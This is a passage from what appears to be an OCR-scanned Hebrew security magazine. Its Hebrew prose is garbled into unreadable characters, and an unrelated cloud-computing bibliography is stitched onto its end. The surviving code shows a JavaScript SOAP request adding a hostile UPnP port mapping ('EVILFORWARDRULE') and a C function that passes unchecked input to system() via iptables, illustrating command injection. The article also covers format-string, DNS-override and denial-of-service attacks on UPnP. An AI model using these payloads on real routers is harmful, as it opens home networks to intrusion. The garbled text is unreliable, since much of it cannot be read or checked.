xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="boolean">1</NewEnabled><NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-
com:datatypes" dt:dt="string">EVILFORWARDRULE</NewPortMappingDescription><NewLeaseDuration
xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="uid">0</NewLeaseDuration></m:AddPortMapping></SOAP-ENV:Body></SOAP-ENV:Envelope>") ;
}
}

function processReqgChange () {
// only if reqg shows "loaded"
if (reg.readyState == 4) {
// only if "OK"
if (reg.status == 200) {
// ...processing statements go here...
//alert (req.responseText) ;
} else {

alert ("There was a problem retrieving the XML data:\n" + req.statusText);

}

loadXMLDoc (url) ;

INNPZ7 N1 1'7Y D'09N XY NN

http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5/

DN7Y NINIPN DX WIN7 NN 72V 1T N7210' 0¥ DarkComet Nnai™d DAX'NVN D'OI0N 'ANID D2

INAIT? Q0IRIN DX QIpYYT "2

http://hackingcave.com/2012/08/rat-remote-administration-tool-darkcomet-stable-upnp/
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Remote Code Execution

190N NNA0N2 7aK ,N7WONN NdWN NN TIR Yn? 17 D woRNn Actions 'R ,NTA INDW XY
7021 ,mMwn My UPnP-n N'7'aN 110019 NnNa NIXA9 7¥17 1780 NN0AR MpIn LIVXIAYW DNnn
Armijn DY IT W'R) "UPnP-Hacks" "NKRN DX YW 11NN T 7V YXIAW NN T DXn? nnay
UPnP a1 2y TIp nxn7 yan? [N UPnP 'NN'Y D'pO0Nn MW a1 19500 D arvn (Hemel
:‘Action-nn 70> y'ann  NewinternalClient nnwnn  pIM %y 0% DO'RTIN DI'RY

.AddPortMapping

17y 12T1) Port Forwarding-n winm 7y 'RONKW 217 71N 9'0In7 11'n 7" Action-n 7w 1T'ON
11019 INX7 .NWI2 N9 1P NaImd Nifn'? Wik NewlnternalClient-n 7apnnn yTnanl ,(Qunna

W 7w nwonn nown 7y yami np'a yTan ,AddPortMapping DX n'7'vonn yTnn n7'an

077N NN D'RTHIN K7 |W' IGD pwnn *2ua UPNP a1 190n D a7y Armijn Hemel yxaw npran
2NN ZIN NOOIN NTIFON 7702 n72y9nn Ndwn 72y MIx o'xnl NewinternalClient-7 013mn

2 AR TIRN AT PIma? an

int pmlist AddPortMapping (
char *protocol, char *externalPort, char *internalClient,char
*internalPort) {
char command[500];
sprintf (command, "%s -t nat -A %s -1 %s -p %s -m mport

-—dport %s -j DNAT --to %s:%s", g iptables,

g _preroutingChainName, g extInterfaceName,

protocol, externalPort, internalClient, internalPort);
system (command) ;

}

[Squire A Fox in the Hen House :11j7n2]

NMNWN2 IP Namd Dipna n7Y9n Nd>wn N9 nondn My (7"10) n'Tan ATy R 717 na
7y N7w9nn Nd>wn NN TR yNin'? D2l ,AddPortMapping-7 nxMpn nya NewlnternalClient

-7 0'DN7 NI DMND N%0n 7Y n72an Nt D XYM ,0NNX DNpna LUPnP-n 2o
NIT 270 AN dNRN IP-n namd) oan 15 Ty 0'dn? naw 0 NewlnternalClien
2NN 7y VINYWN? NI 72V DINNRIE N7RD NI7IVD VY27 MYORN TV IT n'72an ,(255.255.255.255

Jro17nY

R anialural N7 [N AZNNN NIRXIN NX

http://www.upnp-hacks.org/devices.html
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DefenceCode N12Nn NNVAN MZIN 190N T 7V YXIAW 9011 7NN DONI9 ,Armijn Hemel-7 ona
NNN 01019 NX71) Cisco Linksys 7w nwan a1 7y TIR yin? Awornn 0-Day INIX INNAoN1l
NIXYIN DY 2IN0N (|0 DA NIYA9 Broadcom W TI'n 7y N1ooiann NinY NN2aN Ty ' 1Nann

2217 R'W-75 NINTTN VY272 ivn *7an Root

DA DefenceCode-n N'MaNn ,DI'D X1 NTYW 'R '971,00119 K7 V179078 7w TN ,*7 vITn D0
:YouTube-1 1010 1N01D DN ,|DY NN .INIX DO197 DUIDNNA N7

http://www.youtube.com/watch?v=cv-MbL7KFKE

NY7IN2 1IN ,0M20NN '971,NYZINN NITIX D21 D'01D 1N01I9 DN7YW TNK] DONISY Advisory-2

NNITYAL ,WNNWAN T 7V 01210 V77N 210 NPT YTV'AN NNNAIN "Uncontrolled format string”

NNITON NNNMITA YIAOYZ DA NDINN (N2 'Y DAY NTDINN N2 DRI KNpE? [N
2NN YN TR XN YN g [N (XD [120) 0'mion nnijpnal

https://www.owasp.org/index.php/Format_string attack

-0 NIX 02NN DNWNN TN .SetConnectionType :Action-n N7u9n Nya 7¥17 N1 nw2iINN NN
2won? N1 ,nYhINn N7won NX7 .Format String Attack-7 qiwn (NewConnectionType) Action

.NOPNNN NRXIN X' NN NYT? 721 GetConnectionTypelnfo :Action-n NX

DNS Overriding

Ny NNTP 0YTYY 19501 00 D'97IN OTRY N710' ANin 7w DNS-N 1Y N'¥IAoaI77 nwa Nawn
IITT 'OIN 7V 0'OI1 1'RY QYD X7 XXM 2NN NNIX DY DAYNANI Dwan 7V 07nwnY [1'on
,D2UNN NI'Y NNd 7w DNS 'MYY nwa 2'wn? Nin 7y 0mixy DAXYn 0'WY{Pwn INK IR N
.Ghost Click uj'IN92 2NIYN N M 721 DNS Changer NY7INN 'X'9n1 "ANID NN )27 NYYIXA NNAIT
1IWi7a ,34-n [1I'7'22 DoNIDY L "Operation Ghost Click” Dwa MXN2 XNP?7 NI XY YT Ty

AN

http://www.digitalwhisper.co.il/files/Zines/0x22/DW34-1-OpGhostClick.pdf

DNA7 7210 ,NNNYY21 DR DY A'WRYT IN7¥NENTNAY 190 710N 2 75 DNS-N nxiaoaip nn
DN'7Y Y¥27 021 NNV NNN R¥NIN DNS 'MAw 12y 78 DNS NIN7'Rw yx¥a? nwna awnnn 727
A2'wn'? 721 Exploits Kits 07700 (0'1y 0'NW) 17w 0'MYW? wi7a%7 Dn? 0NaY IX Phishing niospnn
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http://www.youtube.com/watch?v=cv-MbL7KFKE
http://www.defensecode.com/public/DefenseCode_Broadcom_Security_Advisory.pdf
http://en.wikipedia.org/wiki/Uncontrolled_format_string
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DNS-n MY '019 NX NNYW71 Nwa? DwWONNN Actions 770 10Ta o'y UPnP-1 0'Dninn 0fan)
N1 ,LANDevice-1 LANHostConfigManagement-n 70> .(nInTrn X977 ,2md> ,awi) bnwv

.DNS-n '019 NX YIA?7 Nin 7y (AddDNSServer :011w' 0271 IX) SetDNSServer-2 wnnwn?

IP naInd> nana

,DMIAR-019 DN 7K - KNAIT?) NWIN )N 7 Port Mapping 1 Tan%? 0'710' 1NIXY D pIrm
NIND 7x Port Mapping ' Tan? 0715 nx (‘111 anan v 72100 pwnn Ik FTP v / SSH nw (120
IP-n NaM> NX "11%" MIy¥nral 'oNd® MY AN WUNNWn? 721 - w17 Yinn NiXynan P

WD W naixnn

7 NKX IR DT ONXR 7Y 71010 punn R w1737 [N D TN NYNa 0Non Wnnwn D DT IR OX
nm 7y N7 702 Ynnwn?i Niol? 0710t R L (17w N'Man nwan LXNAT?) N0 1P namon
DX NINAN NWN :7"I0 NzNd) NanNnnY DRIV R 'R TYNY D 17W IP-0 NAIND DX q1T7

UNNWN MIX 7¥ NN NYnn 02NN DNIXY a1vn' ('7|n'Jn rynn

nwa 2D 7Y AT AN 2, woKNN 73) UMap N andw inan L (FormateZ / n*ona 7xaT)

Defcon 0102 Xwin NX a'x¥n ,(7"10 70N NTYA Proxy 'MIWY DNIXK 19071 IGD pwnn D'R¥' N
19

http://toor.do/DEFCON-19-Garcia-UPnP-Mapping-WP.pdf

Denial of Service

D'2Y D'2NID X .UPNnP 2217 Denial Of Service yIx'ad N7yiN IR "2y T NIF RN X7 IR N'WN
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02N UPnP a1 ,NINT DY .'PN X7 XML NN NIvynxa ,XNaIT? ,naion X7 Denial Of Service
T N P'RY D ,WANIPConnection pwnnin NNN "ForceTerminate" nwa Action D'RX'n
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INIY D .XWIN DX TMY7 'wnn? 0nmivnn 178 Na1v? 00 oniwye v ("moon arkng? |/
TNIRYNIN NIYI9Y TII0AX DT .NLAINA X7 770 X ,N TIXN Plug & Play 7w 090170 ,NIKYY

.NN0'0 X'77 ,UPnP Niy¥xnxX2 NIYWA1 ,NINTIN 7YnNnN MINKN 21NN ynna
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e http://www.finux.co.uk/slides/PlugAndPwnProtocol.pdf

e http://www.upnp-hacks.org/igd.html

e http://en.wikipedia.org/wiki/Universal Plug and Play

e http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.0-20081015.pdf

e http://www.w3.org/TR/discovery-api/

e https://developer.gnome.org/gupnp/unstable/server-tutorial.html

e http://www.theregister.co.uk/2013/01/29/hdmoore upnp flaw rapid7/

e http://tech.slashdot.org/story/13/01/30/022224/50-million-potentially-vulnerable-to-upnp-

flaws

e http://wiki.wireshark.org/SSDP

e http://wiki.micasaverde.com/index.php/Luup UPnP Variables and Actions

e http://www.youtube.com/watch?v=qln8h3ZdDNI

e http://jan.newmarch.name/internetdevices/upnp/upnp.html

e http://pauldotcom.com/wiki/index.php/Episode276

e http://coherence.beebits.net/wiki/TestSuite

e http://backtrackwasneversoeasy.blogspot.co.il2012/02/terminating-internet-of-whole-

network.html?m=1

e http://toor.do/DEFCON-19-Garcia-UPnP-Mapping-WP.pdf

e http://www.ethicalhacker.net/content/view/220/24/

e http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5/
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http://www.finux.co.uk/slides/PlugAndPwnProtocol.pdf
http://www.upnp-hacks.org/igd.html
http://en.wikipedia.org/wiki/Universal_Plug_and_Play
http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.0-20081015.pdf
http://www.w3.org/TR/discovery-api/
https://developer.gnome.org/gupnp/unstable/server-tutorial.html
http://www.theregister.co.uk/2013/01/29/hdmoore_upnp_flaw_rapid7/
http://tech.slashdot.org/story/13/01/30/022224/50-million-potentially-vulnerable-to-upnp-flaws
http://tech.slashdot.org/story/13/01/30/022224/50-million-potentially-vulnerable-to-upnp-flaws
http://wiki.wireshark.org/SSDP
http://wiki.micasaverde.com/index.php/Luup_UPnP_Variables_and_Actions
http://www.youtube.com/watch?v=qIn8h3ZdDNI
http://jan.newmarch.name/internetdevices/upnp/upnp.html
http://pauldotcom.com/wiki/index.php/Episode276
http://coherence.beebits.net/wiki/TestSuite
http://backtrackwasneversoeasy.blogspot.co.il/2012/02/terminating-internet-of-whole-network.html?m=1
http://backtrackwasneversoeasy.blogspot.co.il/2012/02/terminating-internet-of-whole-network.html?m=1
http://toor.do/DEFCON-19-Garcia-UPnP-Mapping-WP.pdf
http://www.ethicalhacker.net/content/view/220/24/
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5/
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http://www.defensecode.com/public/DefenseCode Broadcom Security Advisory.pdf

http://www.blackhat.com/presentations/bh-usa-

08/Squire/BH US 08 Squire A Fox in the Hen House%20White%20Paper.pdf

http://upnp.org/specs/gw/UPnP-gw-LANHostConfigManagement-v1l-Service.pdf
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1 - Computer Economics 2010

2 - Gartner, Experts Define Cloud Computing: Can we get a Little Definition in our definitions?,
http://blogs.gartner.com/daryl plummer/2009/01/27/experts-define-cloud-computing-can-we-get-a-little-definition-in-our-

definitions/
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3 - TechTarget, Cloud Computing, http://searchcloudcomputing.techtarget.com/definition/cloud-computing

4 - The Open Group, Cloud Cube Model: Selecting Cloud Formations for Secure Collaboration,
https://collaboration.opengroup.org/jericho/cloud cube model v1.0.pdf

5 - Virtual Private Network -nnoaixni N1oxin NMIYpn nvn

6 - Peter Mell, Timothy Grance: The NIST Definition of Cloud Computing (National Institute of Standards and Technology Special
Publication 800-145 7 pages (September 2011): http://csrc.nist.gov/publications/nistpubs/800-145/SP800-145.pdf
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7 - Wikipedia, Cloud Computing, http://en.wikipedia.org/wiki/Cloud computing#cite note-1

8 - Elisabeth, Stahi et.al: Performance Implications of Cloud Computing (IBM Corp. 2012):
http://www.redbooks.ibm.com/redpapers/pdfs/redp4875.pdf

9 - Marc Vael, Cloud Computing Advantages -Why you should go for it (A presentation by ISACA -Cloud Computing Task Force):
http://www.isaca.org/Groups/Professional-English/cloud-

computing/GroupDocuments/ISACA Cloud%20Computing%20Advantages%20%28April%202011%29%20handout.pdf

[V 2IYNN] YT'A NNVAX PN
www.DigitalWhisper.co.il
29 2013 'xn ,41 i'a



http://en.wikipedia.org/wiki/Cloud_computing#cite_note-1
http://www.redbooks.ibm.com/redpapers/pdfs/redp4875.pdf
http://www.isaca.org/Groups/Professional-English/cloud-computing/GroupDocuments/ISACA_Cloud%20Computing%20Advantages%20%28April%202011%29%20handout.pdf
http://www.isaca.org/Groups/Professional-English/cloud-computing/GroupDocuments/ISACA_Cloud%20Computing%20Advantages%20%28April%202011%29%20handout.pdf

Technologic

2V TIXN D770 (QUNNA T WWR) DARUNN QMY Npvl nrYRiv omaw Yw 21ioown ni:

HMomiT prakwn 0 niniE? Yw ndMxa JnnY pvn 790

"Jw7 "annn?" N7 KN Y 2IWNn 7w 0RIvNn 01'98NN TNX - DIPA 791 N1t Dand v

AUNNN NIdYN 75 T 7V 0DNNIY D'VITIVO DNIIA'NYT KN NIDN .VINVI'RN NIYXAN] DIEA '7ON
axwn 2 TIkn DM'OPIOKI DT YN MY DK 091N AR .0ONN (19700 NWONI WIRD
DINNN NINNSNN 770w D 1O TV D'V N'MYNY [V 21NN D202 091N 09 NanY MIYPEN
DYoO X7 N7V X IT TR .071V0 2NN MIYPNN DIFMYN N0 Q¥pn Nyswin NI nlivy

.13D'7IM1 O'M'IoN NINNA NNXRNNI 219'0 WAIT WU 1712372 AXIIXD

D'2NNIN 0112211 NIYXAXRA NINIRY? 7 21 1900 NYY avn 790 7w IN710' NI - p'axwn QIn'y
NITIY DAXYNN QIN'Y 0'012 .AwnTn '9 YU 0M2011 0'0191 AWK DAY 00D DARYN T 7Y
multi- DAl N7UNT DRTINY  XTIRIOT [N [DAY DIMPWYAYd  NMIILVE DIAITINN And
NN YN 7907 TWONNI NPIWNY UIN'wR N7 K TIXN n7un 0axwn qn'w . Ptenancy
NI7Y DTN NMYONN IT NAIYN NIIDN .N12AI711002 TIN W'yl (economy of scale) 7T1a%7 nnm

2w 7ma nne nnnni nig7n My winten

Dlnl|7'7'7 n'nn nxx,‘mb D'INIY D'NN'YN NN'WY - D'WTN D'ANYNA 7¢ QYA ND'NNRYEN

NINYPZN DX NNWY? ,XNAIT7? ,213' v 790 .TIvl 0'pwnn ,(CPUs) Ty nIT'N* LJIONK "N 17710
IMINIR? 7V NIDPNN ITD) NI¥2 7221 7900 IXN '97 010N NIRY? 1AV 17 NNVANN 'WXNK
D'ARYNN NIX D¥NX71 2'NNY N710'D .0NNKT7 NNK NN 290 7Y 1IN0 [1'KY NI7'val DiNfnna

.l7|],U nIazmnua win'yy 17021 |NN' NN NVIYSI1 N'MMKXYI'T NNIXA

Q7Y NTINY K'AN7 1YY 252 DYNNI0IR 7Y 170N - DIYNIU9INE DNZIAN NI DNI0IR D7D

AIX'T 092 NN X7 AN N 12V AIXT 092 NN X' niwn? N A'XNIVIRN 1"7rm nX

Nimdal NdIN1 NIV 11M"9IXR D'NN'YUA ]2V DA N'A D .N'oN' NINIT NIMIDN NN NXIM'Y 70 ,ThX

NT'N' N'O'S NIdN 72V .NIMID1 NIAIZ NIMIYWD 02519 DN X ,0'9NIYA DN7Y NNAINAL [IONKRD , TN NidWwAN 770 "WX 0N - 10
.DY7RI0Y'E 'Y NINWY NND ['PNN7 [N RWUND7 DTyt

11 - SUN Microsystems, Introduction to Cloud Computing architecture (Whitepaper, SUN Microsystems June 2009):

http://java.net/jira/secure/attachment/29265/CloudComputing.pdf

12 - IDC, Defining “Cloud Services” and “Cloud Computing” , http://blogs.idc.com/ie/?p=190

13 - U.S. House Of Representatives - Subcommittee On Technology And Innovation Committee On Science, Space, And Technology -

Hearing Charter: The Next IT Revolution?: Cloud Computing Opportunities and Challenges (September 2011):

http://science.house.gov/sites/republicans.science.house.gov/files/documents/hearings/092111 charter.pdf

14 - Forbes, The Economic Benefit of Cloud Computing,http://www.forbes.com/sites/kevinjackson/2011/09/17/the-economic-

benefit-of-cloud-computing/
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16 - Expert Group Report, The Future Of Cloud Computing, http://cordis.europa.eu/fp7/ict/ssai/docs/cloud-report-final.pdf

17 - Daniele Catteddu and Giles Hogben (editors): Benefits, risks and recommendations for information security (ENISA, 2009):
http://www.enisa.europa.eu/activities/risk-management/files/deliverables/cloud-computing-risk-assessment
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18 - Cloud Computing Journal, Automating The Cloud, http://cloudcomputing.sys-con.com/node/2025961

19 - http://www.idc.com/home.jsp?t=1354283013719

20 - IDC Research, Cloud Computing 2010 -An IDC Update, http://www.slideshare.net/JorFigOr/cloud-computing-2010-an-idc-
update

21 - Michael Healey: InformationWeek Analytics 2011 State of Cloud Computing Survey (InformationWeek, January 2011, Report ID:
R1610111)

22 - Michael A. Davis: InformationWeek 2012 Cloud Security and Risk Survey (InformationWeek, August 2012, Report ID: R5080812)
23 - ENISA, Cloud Computing Risk Assessment, http://www.enisa.europa.eu/activities/risk-management/files/deliverables/cloud-

computing-risk-assessment/
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24 - GNT, BPOS: a data leak in Microsoft’s cloud, http://us.generation-nt.com/cloud-computing-data-leak-bpos-microsoft-news-
2656841.html
25 - Computer World, What happens to data when your cloud provider evaporates?,
http://www.computerworld.com/s/article/9216159/What_happens to data when your cloud provider evaporates

WUNNA DT 912 7V NN IK 26

[V 2IYNN] YT'A NNVAX PN
www.DigitalWhisper.co.il
32 2013 'xn ,41 i'a



http://us.generation-nt.com/cloud-computing-data-leak-bpos-microsoft-news-2656841.html
http://us.generation-nt.com/cloud-computing-data-leak-bpos-microsoft-news-2656841.html
http://www.computerworld.com/s/article/9216159/What_happens_to_data_when_your_cloud_provider_evaporates

Technologic

1790 7¥N yTmn Qn'v NIazinoun 0'vann ok |3Va aAlvnnn ninvn? n|,7'7n |'2 D'PYnNnNa

227]'1_\11':'1 NN DA™Y NNY W IWUX D'YTN D'NAI'KK 190N AN'T NT 7NN ,NNXT DY .J2Vn

D'INNN DMI'RN 707 TIA2 - DTONVI'R AW'YO 0'AIRA T 7Y [V Niooin NIMMuN v nva7 7ixa

.DNXY YN "DIX NINT? NIIYKRIN DY91 ON'NA AT DI'R .JIVD 'MW "X 79 YT 000N WK

DMI7Y D'MIIA DNIX '0N2PN YWD 11X 01N VN NFAITIDL DR YRX7 DDIYRIN gnnn 'O 7y

D'YNNYN '019 N11AlI 0'0N' N¥ON L(spam) 72T INIT N¥ON ,0'AWNNT7 NIXNM97 D'RINK WX

¥ VN MW NYIY Zeus DY NY'YO NDINY WIN'WA NIRYZ TWON )27 XNAIT .NIM70 ninonY

XIN NTA M 71man wwnn Za%w nynon miwm nowi 7101 1A nMund Amazon NNan

"TD [N P90 7Y DANWUNN N'MYI NTRNNN AIWNND NMYN DX 7% 02Y D' DNIRY

:DNIYM 190N 1V FT7 XA DT DI'K .ONT7W NIDPNNN NIX 7'7OW7

19 2y 'oN' 117100 NN 0N DY O'ANIA DNIX LY NI0OIAN NIMIZID0VA WY T 7y e
.DN7Y NmIpn

TIV DY NN'YA {790 7Y N'7700 NNIAVNN N2 TIKA D210 N2 DN N1YYN NIZ'Yon e
.MM NN v e

JIWN DN'Y P90 DDIT 17 (IR DT XNT7 WY DRYIY D' T 7Y Y DMYN) WIinly e

V7 w2 YT nnavan N TV wivne nwy 17 pava onnxkn "ot monane nipt
I

2V [12ORN NOMYWA AT 070N 0TI N2OW 1D ,NN 2V NIMYN WIN'Y - YIT X700 (1D'0N DA

N7 IX [1AwN2 |n,7'7] X7w DmiNl |12'0 "mia q0||nn'7 O"IYYy 70N NKRXIND 17¥ 21wnNnn NdYN
NIDIYNI DP'oN 71N 7Y TINN D'YUN DWIT DI'XRY |ID'0 'Mmia . TV TIiyan |IJWN'7 owIT I'n

.78 D'MIN'YA DD WY [IN0'AN NNY DX DTAMI |2V NIooIAN alvnNn

N7I7 DY 'Y D'ONTNN L,DMIMND 7'W7 DNENNN Y T 7Y NTAIRN QWK L0901 [12'0 NI
AIYNNN ANYA DY [N DAY NNI071200 D200 |2 0NY9 70IVN |10 NIXNYT [N )27 NNAIT
7¥ 1972IN AN NI'MN Y1217 0'713' 17X DNWO YN MDY 290 9190 N7¢ NMI0Z71a0Nn N21on 1Y
ON"NN INK [12'0 .NN'TAN MY |2 0'PINN NN 7TAN1 DIXN 7¢ mMipm 7m yn '"MN'y 790
NT |12'0 NIN' 'S 7V .1IX'N [V 7907 21NN MN'W NNAYN NYA DN WINYT WYY D0™MWUN [TAIRY

.AVin 790 7¥N DAININ Dpnn |'3.‘7 VTN NIDWNA DMIAX-D119 D7) |'2 0NV X7 DIYY

27 - Cloud Security Alliance, Top Threats to Cloud Computing, https://cloudsecurityalliance.org/topthreats/csathreats.v1.0.pdf
28 - ZDNET, Zeus crimeware using Amazon's EC2 as command and control server, http://www.zdnet.com/blog/security/zeus-
crimeware-using-amazons-ec2-as-command-and-control-server/5110
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29 - International Organization for Standardization, 1SO 31000:2009 Risk management -- Principles and guidelines,
http://www.iso.org/iso/iso_catalogue/catalogue tc/catalogue detail.htm?csnumber=43170 (Limited access)
, http://aws.amazon.com/tco-calculator/ , http://www.rackspace.co.uk/cloud-computing/ :j3y? NiNIE'? Nd>'wN? NINNAIT 190N - 30
https://www.youtube.com/watch?v=CjYNEjviRCY, https://www.youtube.com/watch?v=C4Vn6cicdSA,
https://www.youtube.com/watch?v=I-jmkkYiQac
31 - Seeking Alpha, Cloud Computing Technology - Investment Strategy: IBM, Microsoft, Intel, Oracle, Amazon,
http://seekingalpha.com/article/889941-cloud-computing-technology-investment-strategy-ibm-microsoft-intel-oracle-amazon

32 - Google, The Story Of Send, http://www.google.com/green/storyofsend/desktop/#/hard-working-machines
33 - SLA Information Zone, The Service Level Agreement , http://www.sla-zone.co.uk/
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34 - The Monitoring Guy, Service Availability Reporting, http://themonitoringguy.com/articles/service-availability-reporting/

35 - Microsoft News Center, Microsoft’s Quest for Greater Efficiency in the Cloud, http://www.microsoft.com/en-
us/news/features/2011/aprl11/04-19greendatacenters.aspx

36 - BostInno, Gmail Outage: First GoDaddy, Now Gmail is Down for Some Users Today, http://bostinno.com/2012/09/10/gmail-
outage-first-godaddy-now-gmail-is-down-for-some-users-today-report/

37 - CNN, Instagram down in mass power outage, http://news.blogs.cnn.com/2012/06/30/instagram-down-in-mass-power-outage/
38 - Computreworld, Amazon outage sparks frustration, doubts about cloud,
http://www.computerworld.com/s/article/9216098/Amazon outage sparks frustration doubts about cloud

39 - Aleksandra Korolova: Privacy Violations Using Microtargeted Ads: A Case Study (Journal of Privacy and Condentiality Volume 3,
Issue 1, 2011, Pages 27-49)

40 - Siani Pearson: Taking Account of Privacy when Designing Cloud Computing Services (HP Laboratories, HPL-2009-54:
http://www.gtsi.com/eblast/corporate/cn/09 09 2009/PDFs/HP%20Lab.pdf )
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http://www.gtsi.com/eblast/corporate/cn/09_09_2009/PDFs/HP%20Lab.pdf
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41 - Christopher Soghoian: Caught In The Cloud: Privacy, Encryption, And Government Back Doors In The Web 2.0 Era, ( Indiana
University Bloomington - Center for Applied Cybersecurity Research, August 17, 2009):
http://papers.ssrn.com/sol3/papers.cfm?abstract id=1421553
42 - Dan Svantesson and Roger Clarke. (2010) "Privacy and consumer risks in cloud computing" Computer law and security review, 26
(4), 391-397, http://epublications.bond.edu.au/law pubs/347/
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JIDYNY DY NINWANIE YA M 'Ku? [pna nion'nin - (A.11) - Access control e
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mwn 'Rpnk |pn 10 0t |Pn (Federal Information Processing Standards Publication 140-2)
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44 - 27000, 27000 -Toolkit, http://www.27000-toolkit.com/ (ISO 27001 Citation)

45 - The ISO 27000 Directory, An Introduction To 1SO 27001 (1ISO27001), http://www.27000.0rg/iso-27001.htm

46 - 27000, 27000 -Toolkit, http://www.27000-toolkit.com/ (ISO 27001 Citation)

47 - http://aws.amazon.com/security/iso-27001-certification-fags/ , http://googleenterprise.blogspot.co.il/2012/05/google-apps-
receives-iso-27001.html , http://www.microsoft.com/online/legal/v2/en-us/MQOS PTC Security Audit.htm

48 - Department of Commerce, National Institute of Standards and Technology
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49 - Federal Information Processing Standards PUB 140-2: Security Requirements For Cryptographic Modules (Information
Technology Laboratory National Institute of Standards and Technology Gaithersburg, MD 20899-8900):
http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf

50 - NIST, Validated FIPS 140-1 and FIPS 140-2 Cryptographic Modules, http://csrc.nist.gov/groups/STM/cmvp/documents/140-
1/140val-all.htm

51 - PCl Security Standards, About Us, https://www.pcisecuritystandards.org/organization info/index.php

52 - PCl Security Standards, PCI Standards Documents, https://www.pcisecuritystandards.org/security standards/documents.php
53 - Wired, PCI DSS Compliance in the Cloud: Challenges and Tactics, http://www.wired.com/insights/2012/05/pci-dss-compliance-
cloud/

54 - Virtualization Special Interest Group: PCI DSS Virtualization Guidelines (PCI Security Standards Council, June 2011):
https://www.pcisecuritystandards.org/documents/Virtualization InfoSupp v2.pdf
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NIY¥NXRA NDYNT N2 WORN [PNn LIETF-n T 2 0TIy |7n 1'n OAuth (Open Authorization)
2N NINTTAYE DWAT AN 77 0 .0 TN DIRA NNIX 7'U9NY WNNWUNN DX NN YUK DY 79K
UnNnnun v oMYy nown 7Y nwa awoNnl "awn 1’1" DA Wi [PNn . ava NiIY nidavn
AUN2 NYRY7OKR W NN T 7Y KIRLI9W DYWIRD 0'019N DX QY7 0N Wnnuwnn '7an olion
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.(Certificate Authority)

55 - NSK Inc., Become SAS 70 Type II, SSAE 16 Compliant in the Cloud, http://blog.nskinc.com/IT-Services-
Boston/bid/103314/Become-SAS-70-Type-II-SSAE-16-Compliant-in-the-Cloud

56 - http://en.wikipedia.org/wiki/Sarbanes%E2%80%930xley Act

57 - Layered Tech, Certifications and Tech Partners, http://www.layeredtech.com/why-layeredtech/certifications-and-tech-partners/
58 - TechTarget, Identity management in cloud computing courts enterprise trust,
http://searchcio.techtarget.com/news/1509770/Identity-management-in-cloud-computing-courts-enterprise-trust

59 - Forrester Blog, A New Venn Of Access Control For The APl Economy, http://blogs.forrester.com/eve maler/12-03-12-

a_new venn of access control for the api economy
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NI'pPN7 2"NNa 0n N nivawnn qin N National Istitute for Standards and Technology
NTONI NI'PNT7 NITVIE NIWN 'DIA 1901 1DINA TARN KINIINoNn7? Twnn nnn w19 NIST .n'171100
17 ,%0079 AT 9w MmN AY'NNn vn awnn ninna NIST NiZ'We .yl NrATI0Y win'win
2pi9xATO 0017 DUV NINFYNI DY7IP'WAI QY NIFAZINDU YINKY? DNIYPN DAY DMI0ND
DWA 71NN 17W NIrdNOoNI NIFNINNNA 770 AXIY NIST .ayn Xwi7 0TIvY 2TIAyY DX )T NI Tvi
'NWI DIT' 7V NImn WK FISMA 1Ix'7a IR Federal Information Security Management Act 2002
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Cloud Security Alliance

NI'NN'0DIN NIV'YA WIN'YN NX DTP7 1NXYY " Tan QTWNR NN DNon K77 Ny qiaonqa CSA-N
VYT )I'N DTE? |21 3V 2IWNN2 D0 YT'N NNVIAXR 'WYAXR NIRXNN N'0anY? "1 (best practice)
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60 - Kantara Initiative, Case Study: Subscribing to a Friend's Cloud,
http://kantarainitiative.org/confluence/display/uma/Case+Study%3A+Subscribing+to+a+Friend's+Cloud

61 - Peter Mell, Timothy Grance: The NIST Definition of Cloud Computing (National Institute of Standards and Technology Special
Publication 800-145 7 pages (September 2011): http://csrc.nist.gov/publications/nistpubs/800-145/SP800-145.pdf

62 - Some of NIST's publications: Guidelines on Security and Privacy (800-144), CC Synopsis & Recommendations (800-146), CC
Standards Roadmap (500-291), CC Reference Architecture (500-292), USG CC Technology Roadmap Draft (500-293)

63 - CRN, Microsoft Admits Lacking Full FISMA Certification For Federal Cloud,
http://www.crn.com/news/cloud/229401710/microsoft-admits-lacking-full-fisma-certification-for-federal-
cloud.htm;jsessionid=VL8dEvVU+98uiUAaYpEH+Q**.ecappj03?cid=rssFeed

64 - CSA, About, https://cloudsecurityalliance.org/about/
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65 - CSA, Research, https://cloudsecurityalliance.org/research/

66 - CSA, Security Guidance for Critical Areas of Focus in Cloud Computing V3.0,
https://cloudsecurityalliance.org/guidance/csaguide.v3.0.pdf

67 - http://en.wikipedia.org/wiki/Big_data

68 - CSA, CSA Security, Trust & Assurance Resources, https://cloudsecurityalliance.org/star/

69 - CSA, Cloud Trust Protocol, https://cloudsecurityalliance.org/research/ctp/# downloads

70 - CSA, Certificate of Cloud Security Knowledge, https://cloudsecurityalliance.org/education/ccsk/
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71 - GSA, FedRAMP Governance, http://www.gsa.gov/portal/category/103271
72 - NIST, Recommended Security Controls for Federal Information Systems and Organizations (NIST Special Publication 800-53
Revision 3), http://csrc.nist.gov/publications/nistpubs/800-53-Rev3/sp800-53-rev3-final updated-errata_05-01-2010.pdf
73 - GSA, Third Party Assessment Organizations (3PAQOs), http://www.gsa.gov/portal/category/102387
74 - GSA, Authorized Cloud Service Providers, http://www.gsa.gov/portal/content/131931
http://www.justice.gov.il/NR/exeres/DC0807D5-F376-4262-8689- , yTI N'a17100 ,09wN7 NIYAN NITIN ,0'0OWNN TN - 75
DE14A72A0909,frameless.htm?NRMODE=Published
, YIN A17'M "MIN'YA WIin'y1 yT'Na NIrvon 7y 1man )2 :(0"1n1) yTnai 071100 0swnt Nivan ,0'uoswnn Twn - 76
http://www.justice.gov.il/MOJHeb/ILITA/News/mikurhuts.htm
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NINTPNN NIM'R NIV'WA WIN'Y7 NWNTA DIAIN 191 DON DINN 'XT'OdWANT X720 TR
NNRY DRIR 7V NIAN DN7'0N ANXTOOYNNE X700 QW TN XL (M0N1M NIN'RY WIn'y Nnaim)
X700 TXY7 L2 D .TAIVN NI'DI9A VIADY '7an - [IAINN 'ANWN wnNwNN DX DY TN [9INA
